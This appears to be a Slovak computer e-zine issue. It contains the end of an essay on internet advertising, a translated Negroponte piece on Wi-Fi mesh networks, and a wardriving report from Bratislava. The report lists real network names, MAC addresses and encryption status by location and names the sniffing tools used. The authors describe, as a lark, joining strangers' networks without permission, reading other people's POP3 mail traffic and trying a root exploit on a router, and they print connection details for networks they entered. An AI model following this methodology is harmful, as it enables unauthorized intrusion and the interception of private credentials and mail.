poskytovatel obsahu bude reklamu viac cielit -- nie podla zadavatela, ale
podla toho, co si mysli, ze sa bude dobre predavat a co si mysli, ze by daneho
zakaznika mohlo zaujimat. pretoze v tomto pripade bude mat prevadzkovatel
stranok zaujem na tom, aby uzivatel nasiel to, co hlada. predstavte si to,
ziadne reklamy typu -- otvorili sme aupark na kazdej stranke. na pocitacovych
strankach bude pocitacovy tovar. uz prevadzkovatel stranok sa vam bude snazit
vybrat dobru a vyhodnu ponuku, pretoze bude vediet, ze v inom pripade si nic
nekupite.



vacsie problemy bude mat v tomto pripade prevadzkovatel stranok -- jeho zisk
bude zalezat predovsetkym od neho -- nie od poctu impresii, ale skor od
sposobu, akym dokaze predat tovar. v pripade, ze sa mu to podari, moze naozaj
dost slusne zarobit. v pripade, ze nie, ma smolu (a to mohol poskytovat aj
naozaj zaujimave a cenne informacie, len nevedel predat ziadny tovar a
nenasiel iny sposob financovania -- napr. predplatne, poskytovanie rozsirenych
sluzieb a ine).


zaver



bohuzial, neviem, ci vysledok tohto vsetkeho bude dobry alebo zly. naozaj to
neviem predpovedat. je dost mozne, ze mnozstvo dobrych sluzieb skrachuje. v
pripade, ze by tento scenar naozaj niekto zrealizoval, asi by malo vela
stranok financne problemy hlavne v case transformacie reklamneho trhu a najma
v tomto case by si mali asi hladat aj vedlajsi zdroj prijmov. prijmy z
impresii uz zdaleka nebudu primarne.



je mi naozaj luto, ze sa vzdalujeme od casov, ked na internete bolo vsetko
zadarmo a bol produkovany nadsencami, ktori nieco chceli poskytnut svetu.
takyto internet bol najlepsi. teraz, v case korporacii asi dojde k roznym
zmenam. uvidime, ako sa to cele skonci.



juraj bednar, juraj(at)bednar.sk


navrat na obsah

co ty na to ? board






preco zmeni wifi tvar telekomov



Nicholas Negroponte vysvetluje preco Wi-Fi "lekna a zaby" pretvoria buducnost telco priemyslu.



Vsetko, co ste doteraz vedeli a predpokladali o telekomunikaciach je v pohybe a zmene. Velki kablovi aj bezkablovi
operatori budu nahradeni milionmi malych mikrooperatorov, ktori budu vtiahnuti do globalnej tovarne sirokopasmoveho
(broadband) pripojenia.



Preco by sa prave toto malo stat ? Nech sa paci, tu je cely pribeh.




Za poslednych 30 rokov, telekomunikacny priemysel presiel tromi velkymi zmenami, kazdu z nich mozno nazvat epochou. Ta prva
bola digitalizacia v 70tych rokoch. Tou druhou bol prichod technologie prepinania packetov (packet switching). Ta tretia bol
nastup bezkablovej komunikacie. Kazda z nich priniesla so sebou dramaticke inovacie. Prva odstartovala popri inom multimedia,
druha priniesla nepretrzite pripojenie a tretia funkcnu mobilitu. V kombinacii s deregulaciou telekomunikacneho priemyslu tieto generacne zmeny priniesli ludom viac sluzieb za nizsie ceny. Tento fakt je najviac viditelny pri mobilnych telefonoch/komunikacii, ktora mala obrovske kulturne dosledky vsade na svete.



hlasovo centricke 3G je prilis mala zmena



Na tomto pozadi aktualneho pokroku, dnesni mobilni operatori sa pripravuju na malu, skoro az irelevantnu zmenu, k prechodu na
tzv. 3G - tretiu generaciu mobilnych telefonov a komunikacie. 3G je prilis mala zmena a uplne postrada atributy generacneho
prechodu. V case, ked prenos dat stale narasta na vyzname je 3G stale hlasovo-centricka technologia, tym vznika riziko, ze sa
nikde nikdy uplne neusadi.



vodne lekna - skutocna nasledujuca generacia



Pocitacovy priemysel zacal pred niekolkymi rokmi vyvijat popri existujucich komunikacnych protokoloch a strukturach paralelnu
a na prvy pohlad nesuvisiacu aktivitu pre bezkablove lokalne pocitacove siete (LAN) nazvalnu 802.11. Povodny zamer bol
odstranit hrce koaxialnych kablov a nutnost v?tat diery a tahat kilometre kabelaze.



Pred piatimi rokmi som si nainstaloval bezkablovu siet (wireless LAN) u seba doma v Bostone. V tom case to stalo nieco okolo
$2,000 na zakladnu stanicu a $500 za kazde zariadenie, ktore som chcel pripojit. Dnes (v USA) su tieto ceny $120 a $50 a ceny
stale klesaju. Vysledkom je, ze tento druh konektivity zacal prudko rast a konzervativne odhady hovoria len v USA o 15
milionoch wi-fi pripojeni.



lenze dosah Wi-Fi nekonci pri stenach vasho domu



Lenze systemy 802.11 � dnes pristupne vo viacerych typoch vratane 802.11b vseobecne znameho ako Wi-Fi � nekoncia svojim
dosahom stenami Vasho domu. V zavislosti od materialov stien ma jednoduche Wi-Fi dosah az okolo 300 metrov. Odkedy zijem v
oblasti s vysokou hustotou ludi, moj system dosiahne mozno 100 susedov. Platim pausal a som rad, ze sa mozem o to podelit.
(kto by nechcel bezat na rovnakej sieti s Negropontem:))



Pretoze kusok nizsie na ulici, za dosahom mojho systemu iny sused nainstalovaj svoj. A kusok dalej dalsi a dalsi. Predstavte si to ako jazierko s jednym leknom, potom s dvomi a potom so styrmi, potom sa viacere prekryvaju a svojimi vyhonkami dosiahnu do Internetu. (Analogiu s leknami vymyslel Alessandro Ovi, technologicky poradca Romana Prodiho, prezidenta Europskej Komisie.)



Pozrite sa na cisla : 3G v najsilnejsich konfiguraciach slubuje rychlost prenosu dat 1 megabit za sekundu, niekedy za 2 roky.
Wi-Fi ponuka rychlost 11 megabitov v zaklade a v silnych konfiguraciach az 54 megabitov uz dnes. co myslite, ktory standard sa
uchyti ?



zaby : skacu cez navzajom prepletene lekna



V blizkej buducnosti kazdy Wi-Fi system bude pracovat aj ako maly smerovac (router), odpovedajuci najblizsim susedom. Data a
spravy mozu skakat systemom peer-to-peer ako zaby z lekna na lekno, vyhonky uz nebudu potrebne. Bude z toho sirokopasmovy
(broadband) telekomunikacny system vytvoreny ludmi pre ludi. Telekomunikacne spolocnosti o tomto fakte velmi dobre vedia ale
podcenuju ho s argumentom nedostatocneho pokrytia siete. Mylia sa.



system vytvoreny ludmi pre ludi


Tuto peer-to-peer strukturu robia zaujimavou 3 veci. Za prve, jej tlak a obrovsky rast sa v malom stale opakuju (viral).
Opakujuce sa male telekomunikacne siete su relativne novy fenomen, kde kazdy si vybuduje svoj maly system a pripoji ho do
siete podobnych. V case ked je telekomunikacny trh v krize a investicie donho su len tie najnutnejsie, tento fakt nadobuda na
dolezitosti.



Za druhe, vykon systemu rastie s poctom pripojenych uzlov. V dnesnych typickych mobilnych sietach rast uzlov (uzivatelov)
znamena viac interferencii a pokles kvality sluzby. Vo Wi-Fi topologii viac uzlov znamena kvalitnejsiu sluzbu.



A za tretie, je tu obava z elektromagnetickeho vyzarovania. Najma Europa je extremne citliva na nezname vplyvy
elektromagnetickeho smogu. Aj v USA je pocut hlasy, ze pravidelne pouzivanie mobilnych telefonov sposobuje rakovinu mozgu. Je
faktom, ze, ze topologia multi-hop sieti (ako je Wi-Fi) potrebuje menej energie, pretoze signaly idu do mensej vzdialenosti
(su to "slabsie vysielacky"). Vyplyva z toho, ze menej vysielanej energie znamena mensie zdravotne riziko.



rybnik : zmeni prud telco priemyslu



Dnesne spektrum mobilnej komunikacie je riadene ako trh nehnutelnosti, opatrne rozparcelovane vladami. Aktualne aukcie na 3G
licencie priniesli obrovske a nerealisticke ceny za tieto siete. Pridava sa k tomu este stary sposob myslenia, ze jednotlive
sG siete budu fungovat bez vzajomnych interferencii a s vlastou suverenitou (ako GSM).




Ale prichadzaju nove sposoby procesov v rybniku, pretoze vieme pridavat stale viac a viac inteligencie a sofistikovanosti
nasim leknam a zabam skakajucim medzi nimi. Pri pouziti menej energie za nizsich cien je mozne bezkablove spektrum vyuzit
daleko viac efektivnejsie. Velmi zaujimave su oblasti, ktore mozu byt volne vyuzivane kymkolvek na cokolvek bez nutnosti
licencie. Tieto relativne male kusky pasma (chunks of bandwith) rozprestrene cez rozne frekvencie su povazovane viacmenej za
"smeti". Toto nelicencovane spektrum je vyuzivane na domacie cordless telefony, dialkove otvarace garazi, mikrovlnne rury a
velke mnozstvo dalsich nevinnych ale nepredvidatelnych pouziti.




ludia sa pri Wi-Fi experimentoch s rozprestretym spektrom CDMA naucili, ze na alokovanie (pridelovanie) frekvencneho spektra
sa mozno pozerat roznymi pohladmi. Mozno sa na ne pozerat ako na velke spolocne oblasti namiesto ako na male kusky. Striktne
hranice sa potom menia prijatelne obmedzenia. Aby nam taky system neprerastol cez hlavu a nevytvoril chaos, budu musiet
existovat obmedzenia, napriklad v mnozstve vysielanej ci pouzitej energie. Ale to je v poriadku - nikto nezacne kricat "hori"
v preplnenom divadle.



Realokovanie spektra nenastane za noc. Zamiesat obsadene elektromagneticke zony je rovnako komplikovane ako vyhladit cast
mesta, aby sa vybudoval novy park ci rekreacne centrum. Nove pohlady na tento problem maju rychlejsi efekt ak sa pozerame na
vyssie a vyssie casti spektra a pouzivame ho na kratsie a kratsie vzdialenosti.




pripojenie opakujuceho sa charakteru nelicencovaneho spektra



Tento novy sposob pohladu na pripojenie bude mat tiez vplyv na miesta, kde penetracia je bezkablovych technologii velmi mala -
paradoxne v oblastiach ozajstnych lekien a ziab, v odlahlych castiach nasho sveta. spinave male tajomstvo o 802.11b je, ze
moze dosiahnut pokrytie az 20 kilomtrov s patricne nastavenymi priamymi antenami. Predstavme si situaciu, ked bude dosah v
miestach, ktore nemaju dostatocnu komercnu hodnotu, aby tam bola zavedena klasicka infrastruktura. V tychto pripadoch sa
opakujuci sa charakter nelicencovanych telekomunikacnych systemov stane obrovskym hybatelom ludskeho vyvoja a zmeni vsetko, od
skostva az po zabavu, od nemocnic az po prenajmy priestorov. Ani by to nebolo prilis prekvapive.




nicholas negroponte (uverejnene vo wired)

preklad xalex, epoxid(at)pobox.sk, www.epoxid.sk



navrat na obsah

co ty na to ? board






wifi jazda po blave


uvod


kam sa hrabe rozvoj ethernetovych sieti spred par rokov proti momentalnemu boomu wifi networkov. to je znama vec. ale kolko toho presne poletuje v bratislavskom eteri a ako
je to zabezpecene - to sme len odhadovali. napad pobehat trochu blavu s wifi antenou v aute je pomerne stary, ale nikdy nebol cas alebo nalada spravit to. tak sme
konecne v polovici novembra dali dokopy vdacny trojlistok maniac/pajkus/antonio, nejaky ten hardware a vydali sa na nocnu jazdu po blave.


o niektorych lokalitach sme si mysleli ze budu prekypovat vzdusnym trafficom ale boli sme sklamani datovou pustatinou. na inych necakanych miestach sme zase
do minuty mali funkcnu IP adresu s pristupom na internet od nam uplne neznamych providerov, alebo sukromnych sieti. cielom nasho vyletu nebolo vytvorit komplexnu
mapu wifi sieti v bratislave, ale obehnut si zopar vytipovanych lokalit kde sme tusili ze sa mozu diat veci. a teda aj sa diali veci. ale pekne poporiadku, najprv popis nasej
vyzbroje:


vyzbroj


co sme mali so sebou:


  • podvozok naseho mobilneho sniffovacieho laboratoria tvoril kombik s foliami na oknach. v takychto chvilach sa folie fakt hodia. a este pri jednej prilezitosti, *grin*.
  • nejake tie notebooky s linuxom, windowsom a freebsd. a pridavna bateria do notebooku.
  • orinoco silver card
  • 8db omni antenu decentne pripnutu na strechu auta. vydrzalo to aj rychlu jazdu. niezeby bola rychla jazda pri skenovani ziaduca, ale ked sme isli po brnenskej
    tak nas taky husty typek na odladenom passate vyprovokoval na preteky zo semaforu. no schytal to, inac to tu nepisem. asi si myslel ze ta biela tlsta antena na
    nasej streche je vyfuk pridavneho nitroxoveho pohonu.
  • 18db parabolicka antena s vyzarovacim uhlom 7 stupnov.
  • sw vybavenie obsahovalo okrem happy mealov z mcdonaldu aj tieto tooly:



    system

    linux kernel v2.4.20-rc2 (patchnuty na wireles extensions v15)

    wireless tools v25

    patchnuty orinoco modul v jadre v0.11

    pcmcia-cs-3.2.1 s patchnutym orinoco driverom



    aplikacie

    airsnort v0.0.9

    kismet v2.6.1

    dstumbler (FreeBSD)

    ethereal v0.9.5, with GTK+ 1.2.10, with GLib 1.2.10, with libpcap 0.7, with libz 1.1.4, with UCD SNMP 4.2.5

    hunt v1.5

    ngrep v1.40.1

    nmap v3

    tcpdump v3.7.1

    netstumbler (WinXP)

    dhcpcd v.1.3.22-pl1

    epcs.c ;-)


co sme nemali so sebou a mali sme mat:


  • ked sme zapli svetlo v odstavenom aute tak sme vyzerali sakra
    napadne a obcas sa to nehodilo.. potme to bolo zase kusok o drzku. v istej chvili maniac
    zasnival o takej malej lampicke na baterky co sa da pricvaknut o notebook, ze to videl vo volakom online geek store. treba mat.
  • chybal nam nejaky sposob pripevnenia smerovej anteny na strechu auta. a este aby sa to zvnutra dalo otacat. to by sme moc chceli, co. na druhej strane by sme ludom
    nespravili take to prekvapenie ked vam o jednej rano pred domom zastane auto, vystupia z neho 3 typkovia, vylozia si na strechu metrovu antenu a 2 notebooky, nasmeruju
    to na vas dom a tvaria sa akoze pohoda.
  • gps by bolo fasa, ale aspon sme sa naucili citat nazvy ulic z polo-roztrhanej mapy blavy.
  • nemali sme hardware na chytanie breezecomov. na nich ficia niektori najvacsi isp ako trebars nextra ci profinet. breezcomy
    (po novom sa vola firma alvarion) pouzivaju frequency hopping technologiu (vyvinutu pre potreby vojenskeho priemyslu v
    irane).
  • rogalo. alebo nieco ine cim by sme chytali spojenia medzi strechami budov. tam je to asi najhustejsie. preto ked sme napriklad
    prisli plni ocakavania pod budovu technopolu, nechytili sme skoro nic, lebo vsetko sa odohravalo vysoko nad nami.
  • auto-adapter na notebook. potom by sa nam nebolo stalo ze v tej najnevhodnejsej chvili ked sa riesil root exploit na linuxovom routeri cez chytenu wifi siet prisiel ujo
    murphy a s potmehudskym usmevom zariadil ze maniacovi skapala baterka na notebooku. a to uz sa vlastne dostavam k samotnym zazitkom zo skenovania, najprv ze ako sme to vlastne robili:


metodika



popri vychadzkovej plavbe s omni antenou na streche po bratislavskych
nocnych uliciach nam z casu na cas (dooost casto) do usi zapipal prijemny
zvuk netstumbleru, ktory oznamoval ze mame signal nejakej sietky. v pripade
ze signal stal za rec a nazov (essid) danej rybarskej siete naznacoval
zaujimavy ulovok, tak sme odparkovali nase mobilne sniffovacie laboratorium
a switchli sa do unixoidnejsieho prostredia kde sa predsa len citime
trosilinka komfortnejsie ;) ono ten netstumbler pod ixpeckami sme pouzivali
prave koli tomu ze funguje pekne samostatne bez nejakej nutnej interakcie.



pod linuxom nam utilitka kismet pekne posniffovala traffic odohravajuci sa
na konkretnom 802.11b-ckovom kanaly, alebo sme cez kismet_hopper cyklicky
cuchali vsetky kanaly. nasledoval nas kamarat tcpdump, ktory porozpraval o
ip adresach, ktore na danej sieti komunikovali. obcas sme dokonca dostali
pomocou dhcp pridelenu ip adresu a gateway, tu musim poznamenat, ze ked som
bol obuty v xp-ckach a isli sme okolo ekonomickej fakulty BA, tak som sa az mykol
ked sa mi zrazu samo otvorilo icq a nabehol som online - darmo, eXPerience sa
nezaprie svojimi luserfriendly ficurami :-) no ale aby som presiel k teme,
tak pri tcpdumpe sme si vyhliadli nejake volne ipecky, domysleli si masku
siete a typli branu. samozrejme icmp-mask-request a nmap obcas zafungovali
tiez, ked uz dochadzala fantazia :)) v niektorych lokalitach fical naozaj
zaujimavy traffic a tak sme cez ethereal pokukali zopar pop3 paketov, ktore
smazili outlooky na workstejsnoch co ostali po firmach na weekend pozapinane...


zoznam skenovanych lokalit s poznamkami


nasleduje zoznam miest kde sme pobehovali s antenou. asi by bolo putavejsie pisat ich v chronologickom poradi podla toho ako sme ich obehavali, ale vobec si nepamatam
postupnost lokalit, kedze sme to rozdelili na dve noci a jazdili sme dost cik-cakovito. treba tiez povedat ze ziadnej sieti sme sa velmi zdlhavo nevenovali. skusili sme sa
prihlasit a po prihlaseni si tipnut alebo vysniffovat netmask a gateway.. kazdej sieti sme venovali tak maximalne minutku-dve. takze
ak sa povenujete konkretnej sieti dlhsie, pravdepodobnost je za dostanete dalej.. takze voila v kvazi-abecednom poradi:



lokalita: bajkalska ulica, esso pumpa
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas0 00:02:78:e2:00:31 8 samsung ap nie
bratislava 00:02:78:f3:b5:12 3 samsung ap ano
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie
--------------------------------------------------------------------------------
poznamka: mile je ze nam euroweb nazvy povedia presnu polohu, smerovanie a typ
anteny

lokalita: botanicka ulica, pri omv pumpe
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
borik 00:60:b3:16:66:0a 9 z-com ap nie
PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie
--------------------------------------------------------------------------------
poznamky: borik vysielal niekde z oblasti fyzickeho kopca borik. PRIFUKAP je zjavne
siet prirodovedeckej fakulty uk.

lokalita: roh brnianska-jasenova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie
metror 00:60:b3:66:12:a6 8 z-com ap nie
--------------------------------------------------------------------------------
poznamka: na metror sme sa uspesne napichli. tu su udaje k spojeniu:

eth1 IEEE 802.11-DS ESSID:"metror" Nickname:"HERMES I"
Mode:Managed Frequency:2.447GHz Access Point: 00:60:B3:66:12:A6
Bit Rate:11Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:21/92 Signal level:-74 dBm Noise level:-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:98
Tx excessive retries:374 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaaddr 00-02-2D-2E-BA-BE
inet addr:62.168.108.237 Bcast:62.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:21748 errors:6082 dropped:0 overruns:0 frame:6061
TX packets:5044 errors:206014 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:10429536 (9.9 Mb) TX bytes:718511 (701.6 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

62.168.108.1 asi gw
62.168.108.2 nameserver a bezi tam nejaky icmp monitoring
62.168.108.140 a 62.168.108.238 aktivne hosty na sieti (WWW+m$ domena na 198.16.x.x)

lokalita: roh broskynova-mudronova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
borik 00:60:b3:16:66:0a 9 z-com ap nie
finger 00:02:78:e1:10:36 9 samsung ap nie
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
--------------------------------------------------------------------------------

lokalita: cesta z koliby dole (take to otvorene miesto s fajn vyhladom na mesto)
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
1034 00:40:96:44:4e:4d 10 cisco (aironet) ap nie
b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie
vsesmer 00:02:78:e1:45:bc 3 samsung ap nie
fab30 00:30:4f:1c:2f:d9 1 ap nie
Effect Network 00:02:2d:4c:41:be 13 agere (lucent) orinoco ap nie
007SOU 00:02:78:e1:d3:f0 3 samsung ap nie
rainap 00:02:78:e0:34:af 3 samsung ap nie
default 00:60:b3:10:05:a0 13 z-com peer nie
realnetds3 00:40:96:58:43:01 1 cisco (aironet) ap nie
realnetdsds 56:01:c2:01:c7:01 9 peer nie
accessmelli 00:02:78:e1:45:ca 11 samsung ap nie
jan 00:60:b3:4f:08:69 3 z-com ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
mgfh4ec5 00:00:f0:64:0a:e6 11 samsung peer nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
txsotoavi 00:90:4b:0b:5b:f0 5 gemtek (d-link) ap ano
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamka: tak toto je miesto s najvacsou viditelnostou wifi sieti v bratislave.
tu sme chytali 2-3 siete aj volne na notebook bez anteny.

lokalita: na tej istej ceste z koliby, ale kusok nizsie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco peer ano
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
default 00:60:b3:10:05:a0 13 z-com peer nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
mgfh4ec5 00:00:f0:64:0a:e6 11 samsung ap nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
blabla 00:60:b3:16:84:cf 3 z-com ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------
poznamka: siet "metrom" nebola ojedinela, po celej blave sme nachadzali siete s
nazvom "metroX" ako metros, metror, metroc, atd. patriace nejakej firme Grid. na
metror sme sa pripojili pri savke, viz prislusna poznamka. na metros sme sa tiez
napichli, tu su udaje:

eth1 IEEE 802.11-DS ESSID:"metros" Nickname:"HERMES I"
Mode:Managed Frequency:2.432GHz Access Point: 00:60:B3:66:12:A5
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:8/92 Signal level:-89 dBm Noise level:-97 dBm
Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953
Tx excessive retries:35 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:37965 errors:68168 dropped:0 overruns:0 frame:68167
TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:5044638 (4.8 Mb) TX bytes:625024 (610.3 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

lokalita: dolnozemska pri pumpach slovnaft
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DOM 00:90:4b:08:0b:86 1 gemtek (d-link) ap nie
hony 00:60:1d:03:6b:e1 3 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------

lokalita: drienova ulica oproti hotelu junior
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
govline 00:02:78:e0:34:82 6 samsung ap nie
norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano
tomas0 00:02:78:e2:00:31 8 samsung ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
--------------------------------------------------------------------------------
poznamka: na drienovej sme cakali kusok viac, kedze tu sidli zopar pocitacovych
firiem a nejake to ministerstvo. chytili sme akurat silne anteny z bajkalskej.

lokalita: drotarska cesta - mozartova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie
martineg 00:02:78:e1:10:23 1 samsung ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vlado3 96:57:4d:00:00:00 10 peer nie
duran1 00:a0:c5:42:ef:6c 6 ap nie
--------------------------------------------------------------------------------
poznamka: eunet omni antenu z vyskovej budovy stv sme chytali strasne daleko. nech
ma slaktrafi ak touto antenou eunet neporusuje maximalne normy. raz nam budu na
hlavach kvitnut karfioly z toho co nam teraz lieta v eteri.

lokalita: drotarska cesta - prvosienkova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
duran1 00:a0:c5:42:ef:6c 6 ap nie
IUVENTA 00:30:4f:1c:24:8f 11 ap ano
--------------------------------------------------------------------------------

lokalita: stare grunty - jebacie miesto hore za elamom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
BORISDOM 00:60:b3:4f:08:60 11 z-com ap nie
BORISDOM 00:60:b3:4f:00:36 11 z-com ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano
freeehr 00:02:78:e0:34:ba 8 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
efca 00:90:4b:0b:5c:5f 11 gemtek (d-link) ap ano
--------------------------------------------------------------------------------

lokalita: stare grunty pri manzelakoch so smerovou antenou smerom na sturak
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
hotspot 00:90:0e:00:25:33 6 ap nie
vlado3 96:57:4d:00:00:00 10 peer nie
homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
12121212 22:00:e4:02:f4:02 3 peer nie
18181818 a6:01:7d:00:94:03 11 peer nie
My Network 00:60:b3:16:c0:b3 1 z-com ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamky: na hotspot sme sa chytili smerovou antenou a rovno sme dostali dhcp ip
adresu. gw bol 192.168.1.1. zjavne by sme nasli aj nejaky proxy von, ale ponahlali
sme sa prec a na druhy den sme sa nemohli na to pripojit.. bol slaby signal.

lokalita: hodzovo namestie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
wli_004 00:90:4b:0b:5b:9b 5 gemtek (d-link) ap nie
omega 00:90:4b:0b:5b:51 13 gemtek (d-link) ap ano
--------------------------------------------------------------------------------

lokalita: horsky park, pri pivarni horsky park
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
metros 00:60:b3:66:12:a5 5 z-com ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
paleo1 00:60:b3:16:63:f5 13 z-com ap nie
matrix 00:60:b3:16:63:ef 9 z-com ap nie
--------------------------------------------------------------------------------
poznamka: nemali sme pri sebe blue-pill na vystupenie z matrixu. na paleo1 behalo
velke mnozstvo http trafficu.

lokalita: hotel danube
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie
ZDR 02:02:2d:4c:5f:13 10 agere (lucent) orinoco ap ano
EUnetIncheba 00:60:1d:03:63:b9 13 agere (lucent) wavelan ap nie
mat2 00:90:4b:08:0b:dc 9 gemtek (d-link) ap nie
okatnet 00:02:78:e1:b1:3a 9 samsung ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
--------------------------------------------------------------------------------
poznamka: v hoteli danube by mohli ponukat free spojenie cez eunet kutlikova.
my sme sa na to apcko pripojili zo slavina a celkom sa pobavili, viz poznamky nizsie

lokalita: jarosova pri kukurici
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
PMDUNION 02:d0:d8:64:00:4f 1 peer ano
--------------------------------------------------------------------------------
poznamka: tu sme cakali viac. napriklad take silne omni apcko sis-ky alebo st-cka
by zahrialo.

lokalita: kamenne namestie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
default 00:90:4b:08:0b:c7 3 gemtek (d-link) ap ano
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
--------------------------------------------------------------------------------

lokalita: ruzinovska ulica, kerametal
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
